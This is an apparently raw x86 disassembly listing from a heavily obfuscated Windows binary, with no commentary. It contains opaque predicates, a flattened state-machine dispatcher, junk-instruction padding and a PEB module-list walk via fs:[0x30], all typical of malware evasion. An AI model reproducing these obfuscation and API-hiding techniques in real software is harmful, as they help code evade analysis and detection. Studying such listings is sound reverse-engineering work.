mov ecx, eax
not ecx
mov esi, eax
or esi, 0x32210148
and eax, 0x182000
mov edx, ecx
or edx, 0xcc49e92
and esi, 0x3ee59fda
and ecx, 0xc1024025
and edx, 0x3ee59fda
or ecx, esi
mov esi, 0xa90dd187
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xcdc6deb7
and ecx, 0x32392148
or eax, ecx
sete al
cmp dword [0x492380], 0xa
mov ah, al
setge cl
setl dl
and ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
not al
or al, dl
mov edx, 0x4d4a0fe8
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0x4d4a0fe8
jmp 0x40c735
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xec]
mov eax, 0xb9ac207f
jmp 0x402a30
cmp byte [ebp - 0x78], 0
mov eax, 0x2ecfc3b1
mov ecx, 0x74e71092
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x108]
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
setb byte [ebp - 0x77]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0xa0320504
not ecx
and eax, 0x209a8b2
mov esi, ecx
and edx, 0xe072550d
and esi, 0x1d840240
or esi, edx
mov edx, ecx
or edx, 0x40405009
and edx, 0xe072550d
or eax, edx
xor eax, esi
mov edx, eax
not edx
and eax, 0x5dc45248
and edx, 0xa23badb7
or eax, edx
mov edx, eax
not edx
and eax, 0xa74d9361
and edx, 0x58b26c9e
or eax, edx
xor eax, 0xa74d9361
or eax, ecx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x492380], 0xa
mov al, cl
setl ch
setge dl
and al, dl
and ch, ah
xor cl, dl
or ch, al
and cl, ah
mov al, ch
xor cl, 1
xor al, dl
or dl, ah
mov ah, cl
or cl, dl
xor ah, dl
and al, ch
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
xor al, 1
or dl, al
mov eax, 0x4bd7a4ce
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x8ce0aa7b
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x4bd7a4ce
cmove eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, 0xb1051eef
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x18152108
and eax, 0x72214c0
mov edx, ecx
or edx, 0x60004836
and esi, 0x7815693e
and ecx, 0x80c88201
and edx, 0x7815693e
or ecx, esi
mov esi, 0x384779c6
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x3274195c
and ecx, 0xcd8be6a3
or eax, ecx
mov ecx, eax
xor eax, 0x402880
xor ecx, 0xd2bcd36b
mov edx, ecx
and eax, 0x807c79eb
and ecx, 0x7f838614
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x7f838615
or ecx, edx
mov edx, ecx
xor edx, 0x7d28fe76
mov eax, ecx
not eax
and edx, ecx
or eax, edx
not edx
and edx, 0x82d70189
and eax, 0x7d28fe76
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc59e829b
and ecx, 0x3a617d64
or eax, ecx
mov ecx, eax
xor ecx, 0x840e8213
xor eax, 0x38403c04
and eax, 0x79d03c8c
and ecx, 0x862fc373
or ecx, eax
mov eax, ecx
xor eax, 0x18d01084
xor ecx, 0x204042
and ecx, 0x61206c4a
and eax, 0x9edf93b5
or eax, ecx
xor eax, 0x9edf93b5
sete dl
setne ah
cmp dword [0x492380], 0xa
setge ch
setl cl
mov al, ch
xor al, ah
and ah, al
and al, ch
mov ch, ah
xor ah, al
xor al, 1
xor ch, 1
or al, ch
xor al, 1
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor cl, 1
xor al, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x776544aa
cmovne eax, esi
test cl, 1
mov ecx, 0x776544aa
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x1b0], eax
mov eax, 0x4b1341b8
jmp 0x402a30
cmp byte [ebp - 0x80], 0
mov eax, 0xfa7153c3
mov ecx, 0x222f6f30
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x250d136b
mov edx, eax
and edx, 0x4892c884
and eax, 0xab00c4a3
or esi, edx
mov edx, ecx
xor edx, 0x6d9fdbef
xor esi, 0x250d136b
and edx, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x6d9fdbee
and esi, 0x92602411
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x54ff3b5c
and edi, 0x54ff3b5c
and esi, 0xab00c4a3
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x6ed81e3e
or edx, eax
xor edx, 0xffffffff
setne ah
sete dl
cmp dword [0x492380], 0xa
setl cl
setge al
or cl, ah
mov ah, al
xor ah, dl
xor cl, 1
xor ah, 1
or ah, al
or al, dl
xor al, 1
xor ah, 1
or al, cl
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x401c6283
cmovne eax, esi
test cl, cl
mov ecx, 0x401c6283
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402a30
mov eax, 0xa6fe583b
jmp 0x402a30
mov eax, dword [ebp - 0x88]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x88]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x492384]
mov eax, dword [eax + 4]
mov dword [ebp - 0xe0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x779249af
and edx, 0x779249af
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x2a43a12e
and edx, 0xd5bc5ed1
or ecx, edx
mov edx, ecx
xor edx, 0x5dd1e880
xor ecx, 0xa22e177f
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x45b94949
not edx
or edx, ecx
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x492380], 0xa
setl ch
setge al
mov cl, ch
and al, ah
xor cl, dl
and dl, ch
or ch, ah
xor ch, 1
or al, dl
xor cl, 1
or al, ch
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
mov edx, 0x91ffce94
cmovne edx, esi
test al, al
mov eax, 0x91ffce94
jmp 0x410698
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5e41ea66
and eax, 0xa1be1599
or eax, ecx
mov esi, eax
xor esi, 0xa1be1599
mov edx, eax
xor edx, 0x44002240
and eax, 1
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0xc48a3648
or eax, esi
mov esi, ecx
and esi, 0x3b75c9b6
or edx, esi
mov esi, eax
not esi
and eax, 0xc48a3649
or ecx, esi
and esi, 0x3b75c9b6
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x6d14c755
and ecx, 0x92eb38aa
or eax, ecx
mov ecx, eax
xor ecx, 0x40100351
xor eax, 0x92eb38aa
mov esi, eax
and esi, 0xadeddc2c
and ecx, 0x521223d3
or ecx, esi
mov esi, edx
not esi
and edx, 0x521223d3
or eax, esi
and esi, 0xadeddc2c
or edx, esi
not eax
mov esi, 0xfb036e31
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x421dc015
and ecx, 0xbde23fea
or eax, ecx
mov ecx, eax
xor ecx, 0xc0010
xor eax, 0x21c00de0
and eax, 0x63d1cde5
and ecx, 0x9c2e321a
or ecx, eax
xor ecx, 0x9c2e321a
sete al
setne cl
cmp dword [0x492380], 0xa
setl ah
setge ch
and ah, cl
or cl, ch
and al, ch
mov edx, ecx
or al, ah
mov dh, cl
mov ch, al
xor dl, 1
mov ebx, eax
and dh, dl
xor ch, 1
mov ah, ch
xor dh, 1
xor ch, cl
and ah, al
or dh, dl
xor dh, 1
xor ah, 1
or dh, cl
xor bl, ah
or ah, al
or al, dl
xor ah, 1
mov bh, dh
xor al, 1
or ah, bl
xor bh, 1
or al, ch
and bh, ah
xor ah, 1
mov ecx, eax
and ah, dh
mov edx, 0x6d0c2dad
or ah, bh
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0x6d0c2dad
cmove edx, esi
test cl, 1
jmp 0x40d21c
mov eax, dword [ebp - 0x3c]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2d1001c
mov esi, eax
and esi, 0x2922a003
and eax, 0xd2f48f9e
or edx, esi
mov esi, edx
xor esi, 0x910004
xor edx, 0xfd2effe3
mov edi, edx
and edi, 0x666c7d8
and esi, 0x29912007
or esi, edi
mov edi, ecx
xor edi, 0x2bf3a01f
and edi, ecx
mov ebx, edi
not ebx
and edi, 0xf9993827
or edx, ebx
and ebx, 0x666c7d8
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xea4938d1
and esi, 0x15b6c72e
or edx, esi
mov esi, edx
xor edx, 0x12440710
xor esi, 0xc1ba98cf
mov edi, esi
or esi, ecx
and ecx, 0x2d0b7061
and edi, 0x2d0b7061
and edx, 0xd2f48f9e
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
not eax
and esi, 0xedc3d135
and eax, 0x123c2eca
or esi, eax
xor esi, 0xedc3d135
mov esi, 0xd2259c04
setne al
sete cl
cmp dword [0x492380], 0xa
mov ch, al
setl dl
setge ah
and cl, dl
and ch, ah
and dl, al
inc al
or cl, ch
and al, ah
xor cl, 1
or al, dl
or cl, ah
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xfa58b7c
cmovne eax, esi
test dl, 1
mov edx, 0xfa58b7c
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 7
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2fa05a5a
and eax, 0xd05fa5a5
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x206e735b
and eax, 0xdf918ca4
or ecx, eax
mov edx, ecx
xor edx, 0xf031d6fe
xor ecx, 0xfce2901
mov eax, ecx
mov esi, edx
or eax, 1
and ecx, 0xfffffffe
and esi, 1
and edx, 0x28b0cc96
or esi, ecx
mov ecx, eax
and ecx, 0xd74f3368
or edx, ecx
mov ecx, esi
not ecx
and esi, 0x28b0cc97
or eax, ecx
and ecx, 0xd74f3368
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa360e622
and eax, 0x9108c1
mov edx, ecx
and edx, 0xc041000
or ecx, 0x81009202
or esi, edx
and ecx, 0xd10a931e
mov edx, esi
xor edx, 0x22606420
xor esi, 0x500a111c
or eax, ecx
and esi, 0xd10a931e
and edx, 0x2e646420
or edx, esi
mov esi, 0xb6633a71
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc9d52ec5
and ecx, 0x362ad13a
or eax, ecx
mov ecx, eax
xor ecx, 0x2090c087
xor eax, 0x994e2718
mov edx, eax
and edx, 0x4f2b1860
and ecx, 0xb0d4e79f
or ecx, edx
xor ecx, 0x4f2b1860
xor eax, ecx
test eax, ecx
sete cl
setne dl
cmp dword [0x492380], 0xa
setl al
setge ah
and cl, al
xor al, dl
and dl, ah
or cl, dl
xor ah, cl
and ah, cl
mov dl, ah
xor dl, 1
mov ecx, edx
mov ch, dl
or dl, al
and cl, ah
xor ch, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0x36d3bf29
cmovne eax, esi
test dl, dl
mov edx, 0x36d3bf29
cmovne edx, eax
test cl, cl
jmp 0x40d21c
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xdbf9d648
mov eax, edx
and eax, 0x8e7309f7
and ecx, edx
not edx
and edx, 0x718cf608
mov esi, ecx
not esi
and ecx, 0x3f9e3e3a
or eax, edx
mov edx, eax
xor eax, 0x5188d608
xor edx, 0xa100000
or eax, 0x240629b7
and edx, 0x1b981608
mov edi, eax
or eax, esi
and edi, 0xc061c1c5
and esi, 0xc061c1c5
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3630f129
and ecx, 0xc9cf0ed6
or eax, ecx
mov esi, eax
xor esi, 0xedc92761
mov edx, eax
xor eax, 0x77e76c65
xor edx, 0x1236d89e
mov ecx, esi
or ecx, 0x65d1b4fb
mov edi, edx
and eax, esi
and edi, 0x902e0900
and esi, 0x89e32de1
mov ebx, ecx
and ebx, 0xec15294
or edi, ebx
mov ebx, eax
not ebx
and eax, 0xf13ead6b
or ecx, ebx
and ebx, 0xec15294
or eax, ebx
not ecx
xor eax, edi
or ecx, eax
not eax
and eax, 0x65d1b4fa
and ecx, 0x9a2e4b05
or ecx, eax
mov eax, edx
and eax, 0x761cd21e
and edx, 1
or eax, esi
xor eax, 0x89e32de0
or edx, eax
mov eax, edx
not eax
and edx, 0x65510e44
and eax, 0x9aaef1bb
or edx, eax
mov eax, ecx
not eax
and ecx, 0xdeb739c0
mov esi, eax
and esi, 0x2148c63f
or ecx, esi
mov esi, edx
xor esi, 0x44110840
xor edx, 0x9aaef1bb
or eax, edx
and edx, 0x2148c63f
and esi, 0xdeb739c0
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x777c07d1
and edx, 0x8883f82e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8883f82e
or eax, esi
and esi, 0x777c07d1
or ecx, esi
not eax
mov esi, 0xb6633a71
xor ecx, edx
or eax, ecx
setne dl
sete al
cmp dword [0x492380], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
mov ah, dl
or dh, cl
xor dl, al
xor ah, 1
xor al, 1
mov cl, dh
or al, ah
xor cl, ch
xor al, 1
and cl, dh
or al, dl
mov ah, al
mov ch, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
xor ch, dl
or dl, al
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
xor ah, cl
and dl, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc983a701
cmovne eax, esi
test dl, 1
mov edx, 0xc983a701
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, 0x4286d7d0
jmp 0x402a30
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, 0x92a85df7
jmp 0x402a30
dec ebx
rcr edx, 0xde
neg eax
add esi, 0xa
not esi
ror edx, 0xaf
or eax, 0xf5
rcl esi, 0x30
inc edx
ror eax, 0x1b
rcr edi, 0x7d
mov edi, 0x88
dec edx
sbb eax, 0x53
ror edx, 0x2b
imul edi
sbb ebx, 0x80
or ebx, 0xf0
dec ebx
dec esi
sbb eax, 0xe6
neg eax
sbb edi, 0x6a
add eax, 0xc4
dec edi
imul edi
and ebx, 0xfd
not esi
imul esi
add ebx, 0x79
bswap eax
or edi, 0x6f
inc edx
sub edx, 0x37
rcl edx, 0xa1
inc eax
mov esi, 0x84
mov edi, 0xb9
neg ebx
rol ebx, 0xd
ror ebx, 0x39
inc edx
sub eax, 0x50
ror ebx, 0x82
dec eax
not eax
sub edx, 0x6b
not eax
dec ebx
or esi, 0xcb
not edx
dec edx
bswap esi
rcr edi, 0x19
not edx
dec eax
dec edi
rcr esi, 0xbe
rcr edx, 0xf8
inc edx
mov ebx, 0xad
ror edx, 0x60
add esi, 0xcd
inc edx
not edi
rcl esi, 0xa4
rcl edx, 0xff
neg edi
dec edi
not ebx
add eax, 0xd6
mov esi, 0xa2
not edx
or ebx, 0xae
rcr eax, 0x40
not ebx
inc edi
sub edx, 0xb5
not edx
or esi, 0xa3
or esi, 0xf6
and edi, 0x1e
mov ebx, 0x6b
and edi, 0xf7
or edx, 0xb5
mov edx, 0x43
mov ebx, 0xf3
not edx
add ebx, 0x62
mov edi, 0x64
rol edi, 0xa4
rcl eax, 0xc4
or edi, 0x5f
mov edx, 0xe8
not ebx
ror esi, 0xe6
rcr edx, 0x99
rcr esi, 0xac
and esi, 0x14
or eax, 0x91
not edi
neg esi
inc eax
inc ebx
sbb ebx, 0xdc
dec edx
not edi
rol eax, 0x41
inc esi
inc edi
sbb edx, 0xbe
not edx
rcr eax, 0x4e
mov esi, 0xd6
neg edx
and edx, 0x6c
not edx
and edi, 0xb4
and eax, 0x4d
not eax
and eax, 0x83
imul esi
ror esi, 0x18
imul esi
add ebx, 0xa4
bswap esi
rcr ebx, 0x49
neg edx
and edi, 0x3a
sbb eax, 0x99
neg eax
imul esi
and esi, 0xc9
bswap edi
not ebx
and eax, 0xac
bswap eax
bswap edi
or esi, 0x54
rol eax, 0xb3
neg eax
rcr edx, 0xf0
or eax, 0x16
imul ebx
mov ebx, 0x56
imul ebx
sub esi, 0x7f
neg esi
and edi, 0xf8
inc eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xa0]
add eax, 0xfffffff8
mov dword [ecx], eax
not edx
and edx, 0x5b
inc eax
inc esi
rcl esi, 0x84
rol esi, 0xf9
bswap edx
mov edi, 0xf4
ror esi, 0x50
sbb edx, 0xdf
inc ebx
neg ebx
add eax, 0x1e
imul edi
mov ebx, 0x66
imul ebx
inc eax
ror ebx, 0xfe
mov esi, 0xa1
imul ebx
mov edi, 0xf6
inc edi
or esi, 0x91
rcr edi, 0x69
mov eax, 0xf0
sub edx, 0x66
sbb edx, 0x94
rcl edx, 0xeb
rcl edi, 0x7a
neg esi
inc eax
and edx, 0x91
sub eax, 0x56
inc ebx
rol edi, 0x5d
rcl eax, 0x3b
imul edi
mov edx, 0x94
rol edi, 0xec
sub ebx, 0xc9
and ebx, 0xde
rol eax, 0
neg edx
rol eax, 0xfe
rcl edx, 0xe
imul eax
dec eax
or edi, 0xcc
bswap ebx
rcr ebx, 0x13
sbb eax, 0xb5
rcr eax, 0x1b
rol esi, 0x29
bswap ebx
dec ebx
bswap edi
bswap esi
rcr edi, 0xb0
imul edx
neg esi
dec edx
and edi, 0xf6
or edx, 0x92
not eax
sub eax, 0xa0
and edx, 0x62
dec edx
sbb ebx, 0x41
imul edi
rol edx, 0xec
not eax
neg eax
inc ebx
ror edx, 0x82
inc esi
dec edi
mov edx, 0x96
dec edi
bswap edi
neg eax
rol esi, 0xf1
rcl eax, 0x25
ror esi, 0x7e
bswap esi
not eax
inc ebx
rcr edx, 0x37
rcl edx, 0x59
bswap ebx
bswap ebx
neg edi
inc eax
rcl edi, 0x6c
not eax
or eax, 0xc9
inc eax
or ebx, 0xf7
mov eax, 0xc5
neg edx
dec esi
dec ebx
mov ebx, 0xa5
sbb edi, 0x3d
rcl edx, 0xe6
mov ebx, 0xa9
rol esi, 0xa0
bswap edi
sbb edi, 0x4e
imul eax
inc edx
rol ebx, 0x16
dec eax
neg edi
sbb eax, 0xb4
rcr esi, 0xba
rcl edx, 6
mov esi, 0xb9
bswap edi
bswap edx
neg ebx
bswap ebx
dec ebx
neg eax
inc ebx
mov eax, 0x16
and edi, 0x56
sbb esi, 0x16
bswap ebx
rcr edx, 0xbd
or edx, 0x83
and eax, 0xd9
not edx
imul esi
not edi
neg edx
ror eax, 0xc7
sub esi, 0x9e
inc edx
rcl edi, 0x98
not edx
rcl esi, 0x50
dec edi
rol esi, 0xf3
or esi, 0x82
add esi, 0x2f
mov edi, 0x72
sub ebx, 0x44
inc eax
bswap ebx
add eax, 0xf6
mov edx, dword [ebp - 0x24]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0xb7fe891b
jmp 0x402a30
mov eax, 0xfdf8ee63
jmp 0x402a30
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xbfe14314
and edx, 0x401ebceb
or eax, edx
mov edx, eax
xor edx, 0x18e14310
xor eax, 0x401ebceb
mov esi, eax
and esi, 0xa716a804
and edx, 0x58e957fb
or edx, esi
mov esi, ecx
not esi
and ecx, 0x58e957fb
or eax, esi
and esi, 0xa716a804
or ecx, esi
not eax
mov esi, 0xfaac7a89
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x9ec147f7
and edx, 0xfffffffe
and ecx, 0x613eb808
or eax, ecx
xor eax, 0x9ec147f6
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x642ea7c
and ecx, 0xf9bd1583
or ecx, edx
xor ecx, 0x642ea7c
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x492380], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
xor cl, 1
mov edx, eax
mov ah, al
not dl
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
test al, al
mov eax, 0x1046d346
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x1046d346
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
cmp byte [ebp - 0x74], 0
mov eax, 0x548fa789
mov ecx, 0x9b6f7660
cmovne eax, ecx
jmp 0x402a30
mov eax, 0x60c78b7d
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4553fd1e
and eax, 0xbaac02e1
or ecx, eax
mov eax, ecx
xor ecx, 0xbaac02e0
xor eax, 0x4553fd1e
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
xor edx, 0x1f04d6d5
mov ecx, eax
and ecx, 0x9463883c
and edx, eax
not eax
and eax, 0x6b9c77c3
mov edi, edx
not edi
and edx, 0x6a3cad6c
or ecx, eax
mov eax, ecx
xor ecx, 0xb0456c1
xor eax, 0x8004
or ecx, 0xe0fb292a
and eax, 0xa048444
mov esi, ecx
or ecx, edi
and esi, 0x95c35293
and edi, 0x95c35293
or eax, esi
or edx, edi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9c353897
and eax, 0x63cac768
or ecx, eax
cmp ecx, 0x8331ee42
sete al
cmp dword [0x492380], 0xa
setl dl
xor dl, al
mov edx, 0xd5933ee8
mov eax, 0xb442c630
cmovne edx, eax
cmovne eax, edx
cmp ecx, 0x8331ee42
cmovne eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x20]
mov eax, 0x4614da0c
jmp 0x402a30
mov ecx, dword [0x492384]
mov edi, 0x8ce0aa7b
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x10b758df
mov esi, edx
and esi, 0xfffffffe
and edx, 0xef48a720
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xe3ba0dc8
mov esi, edx
and esi, 0x1c45f237
or ecx, esi
mov esi, eax
xor esi, 0xb208c8
xor eax, 0xc40a220
and eax, 0x1c45f237
and esi, 0xe3ba0dc8
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2e9ec56d
sete al
cmp dword [0x492380], 0xa
setl dl
setge cl
mov ah, dl
or dl, al
or cl, al
xor ah, al
xor dl, 1
xor cl, 1
or dl, ah
and ah, al
or cl, ah
xor dl, 1
mov eax, 0x8ce0aa7b
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xbc74e7bc
and edx, 0x438b1843
or edx, esi
mov esi, ecx
not esi
and ecx, 0x438b1843
or eax, esi
and esi, 0xbc74e7bc
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xccd9b14
and eax, 0xf33264eb
or ecx, eax
mov eax, ecx
xor eax, 0x891a10
xor ecx, 0xf33264eb
mov esi, ecx
and esi, 0x6e44858c
and eax, 0x91bb7a73
or eax, esi
mov esi, edx
not esi
and edx, 0x91bb7a73
or ecx, esi
and esi, 0x6e44858c
or edx, esi
not ecx
mov esi, 0x6d75046
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xb42c1898
and eax, 0x4bd3e767
or eax, ecx
xor eax, 0x4bd3e767
sete dl
setne al
cmp dword [0x492380], 0xa
setge cl
setl ch
mov ah, cl
or cl, al
xor ah, al
xor al, ch
not al
and ah, dl
mov edx, ecx
and al, ch
mov ch, ah
xor dl, 1
xor ah, al
xor ch, 1
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0x3ab4e7dc
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
mov esi, 0x3ab4e7dc
jmp 0x40f7d1
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xb5118d6
mov edi, edx
mov esi, ecx
and esi, 0x94496e14
and edi, 0x60a68129
and edx, 0x7d94c605
or edi, esi
mov esi, eax
xor esi, 0xf4aee729
and esi, eax
and eax, 0x826b39fa
mov ebx, esi
not ebx
and esi, 0x6bb691eb
or eax, edx
or ecx, ebx
and ebx, 0x94496e14
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x8dfad118
and esi, 0x72052ee7
or ecx, esi
mov esi, ecx
xor ecx, 0x6a2498c
xor esi, 0x79543630
mov edx, esi
and edx, 0xc15d8263
and ecx, 0x3ea27d9c
or ecx, edx
mov edx, eax
xor edx, 0x2223998
xor eax, 0x7d94c605
or esi, eax
and eax, 0xc15d8263
and edx, 0x3ea27d9c
or edx, eax
not esi
xor edx, ecx
or esi, edx
xor esi, 0xffffffff
mov esi, 0xd2259c04
setne ch
sete ah
cmp dword [0x492380], 0xa
mov al, ch
setge dl
setl cl
and ch, cl
and dl, ah
xor al, cl
or cl, ah
or dl, ch
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
